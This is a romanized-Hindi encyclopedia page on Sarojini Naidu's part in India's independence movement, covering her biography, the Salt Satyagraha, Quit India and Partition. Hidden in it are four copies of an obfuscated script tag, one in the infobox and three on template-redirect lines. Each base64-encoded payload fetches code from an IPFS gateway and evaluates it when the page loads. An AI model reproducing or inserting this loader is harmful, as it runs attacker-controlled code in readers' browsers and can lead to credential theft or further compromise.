सरोजिनी नायडू का स्वतंत्रता संग्राम में योगदान
sarojini nayadoo ka svatantrata sangram mean yogadan
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| poora nam | sarojini nayadoo |
| any nam | bharat kokila |
| janm | 13 faravari, 1879 |
| janm bhoomi | haidarabad, aandhr pradesh |
| mrityu | 2 march, 1949 |
| mrityu sthan | ilahabad, uttar pradesh |
| abhibhavak | aghoranath chattopadhyay evan varada sundari |
| pati/patni | d aau. em. goviandarajalu nayadoo |
| santan | jayasoory, padmaja nayadoo, ranadhir aur lilamani |
| nagarikata | bharatiy |
| prasiddhi | rashtriy neta, kaangres adhyaksh |
| parti | kaangres |
| pad | pratham rajyapal (uttar pradesh) |
| vidyalay | madras vishvavidyalay, kiangz k aaulej landan, gartan k aaulej, kaimbrij |
| bhasha | aangrezi, hindi, bangala aur gujarati |
| puraskar-upadhi | kesar-e-hind |
| vishesh yogadan | nari-mukti ki samarthak |
| rachanaean | d goldan threshahold, bard aph taim, brokan viang |
| any janakari | lagabhag 13 varsh ki ayu mean sarojini ne 1300 padoan ki 'jhil ki rani' namak lanbi kavita aur lagabhag 2000 panktiyoan ka ek vistrit natak likhakar aangrezi bhasha par apana adhikar siddh kar diya. |
| adyatan | 16:45, 24 sitambar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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namak satyagrah
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vastav mean sanh 1930 ke prasiddh namak satyagrah mean sarojini nayadoo gaandhi ji ke sath chalane vale svayansevakoan mean se ek thian. gaandhi ji ki giraphtari ke bad gujarat mean dharasana mean lavan-patal ki piketiang karate hue jab tak svayan giraphtar n ho geean tab tak vah aandolan ka sanchalan karati rahian. dharasana vah sthan tha jahaan pulis ne shantimay aur ahiansak satyagrahiyoan par ghor atyachar kie the. sarojini nayadoo ne us paristhiti ka b de sahas ke sath samana kiya aur apane bejo d vinodi svabhav se vatavaran ko sajiv banaye rakha. namak satyagrah khatm kar diya gaya. gaandhi-iravin samajhaute par gaandhi ji aur bharat ke vaisaray l aaurd iravin ne hastakshar kiye. yah ek rajanitik samajhauta tha. bad mean gaandhi ji ko sanh 1931 mean landan mean hone vale doosare golamej sammelan mean ane ke lie amantrit kiya gaya. usamean bharat ki sv-shasan ki maang ko dhyan mean rakhate hue sanvaidhanik sudharoan par charcha hone vali thi. us samay gaandhi ji ke sath, sammelan mean shamil hone vale anek logoan mean se sarojini nayadoo bhi ek thian. sanh 1935 ke bharat sarakar ke ekt ne bharat ko kuchh sanvaidhanik adhikar pradan kie. lambi bahas ke bad, kaangres, desh ki praantiy vidhanasabhaoan mean pravesh karane ke lie taiyar ho gayi. usane chunach l de aur desh ke adhikatar praantoan mean apani sarakarean banaee jinhean aantarim sarakaroan ka nam diya gaya.[[chitr:Sarojini-Naidu-Gandhi.jpg|left|thumb|220px|sarojini nayadoo aur mahatma gaandhi]]
bharat chho do aandolan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
isake kuchh samay bad hi doosara vishv yuddh chhi d gaya. aangrez sarakar ne bharat ko us yuddh mean shamil hone ke lie majaboor kiya jisake virodh mean kaangres ki praantiy sarakaroan ne tyagapatr de die. phir se samajhaute ke lie kuchh prayas kie ge, jisame aangrez sarakar ke bharat ke rajyamantri sar staphard krips ka prayas bahut hi mahattvapoorn raha. krips mishan asaphal raha. ab kaangres ke pas jan aandolan shuroo karane ka hi ek rasta rah gaya tha. 8 agast sanh 1942 ko kaangres ke bambee mean hue adhiveshan mean gaandhi ji ne british shasakoan ko bharat chho dakar chale jane ko akhiri bar kaha aur sath hi desh ki janata ko 'karo ya maro' ka adesh diya. 'bharat chho do' aandolan ki yah yuddh-pukar thi aur bharat ke svadhinata sangram ka vah akhiri p dav tha. 8 agast ki madhyaratri mean gaandhi ji aur kaangres karyakari samiti ke sadasyoan ko giraphtar kar liya gaya. gaandhi ji ko unake niji mantri mahadev desaee aur sarojini nayadoo ke sath pune ke aga khaan mahal mean rakha gaya. vahian kuchh samay bad kastooraba ko bhi laya gaya. un kashtaprad dinoan mean jab gaandhi ji ka man udas hua karata tha tab apane kharab svasthy ke bavajood sarojini nayadoo apane vinod aur hansi se unaka man bahalane ki koshish karatian. aga khaan mahal mean pahale mahadev desaee, phir kastooraba ki mrityu ke bad, sarojini nayadoo chattan ki bhaanti adig gaandhi ji ke sath rahian. jab gaandhi ji ne amaran anashan shuroo kiya aur jab vah jivan aur mrityu ke bich jhool rahe the tab sarojini nayadoo ne hi b di mamata ke sath unaki seva ki.
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sarojini nayadoo ka yah manana tha ki bharatiy nari kabhi bhi kripa ki patr nahian thi, vah sadaiv se samanata ki adhikari rahi haian. unhoanne apane in vicharoan ke sath mahilaoan mean atmavishvas jagrat karane ka kam kiya.
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svadhinata ka prabhat
do sal bad, gaandhi ji aur doosare kaangres neta ek ke bad ek riha kar die ge aur phir se aangrez sarakar aur bharat ke bhinn-bhinn rajanitik daloan ke pratinidhiyoan ke bich batachit aur samajhaute ke prayasoan ka daur shuroo ho gaya. inamean muslim lig aur kaangres ek-doosare ke vicharoan se asahamat the. march sanh 1946 mean british kaibinet mishan bharat aya lekin usake prayas asaphal rahe. isake bavajood kendriy tatha praantiy vidhan sabhaoan ke lie chunav l dane ke prastavoan ko svikar kar liya gaya.
muslim lig ki maang
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
javahar lal neharoo ke netritv mean aantarim sarakar banaee gee. kaangres yah chahati thi ki akhandit bharat ko hi rajanitik satta sauanp di jae, jabaki muslim lig bharat ke musalamanoan ke lie alag rajy banane ki maang kar rahi thi. samajhaute ke lie bahut se prastav pesh kie ge, lekin jab muslim lig ke sath samajhauta nahian ho saka to n chahate hue bhi kaangres ne bharat ke bantavare ki bat ko manzoor kar liya. bahut bar kaangres parti ke bhitar uthe vivadoan ko hal karane mean bhi sarojini ji ne 'sankatamochak' ki bhoomika nibhayi. shrimati eni besent ki priy mitr aur gaandhi ji ki priy shishya ne apana sampoorn jivan desh ke lie arpit kar diya.
bharat vibhajan
14 agast sanh 1947 ki rat thik 12 baje bharat aur pakistan, do alag-alag rashtr ghoshit kar diye gaye aur javahar lal neharoo ko bharat ke pratham pradhanamantri ke roop mean shapath dilaee gee. desh ka bantavara hone ke sath hi bhayanak sampradayik dange hue aur khoon ki nadiyaan bahian. sangharsh aur yantranaoan ke sath hamean svadhinata mili.
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tika-tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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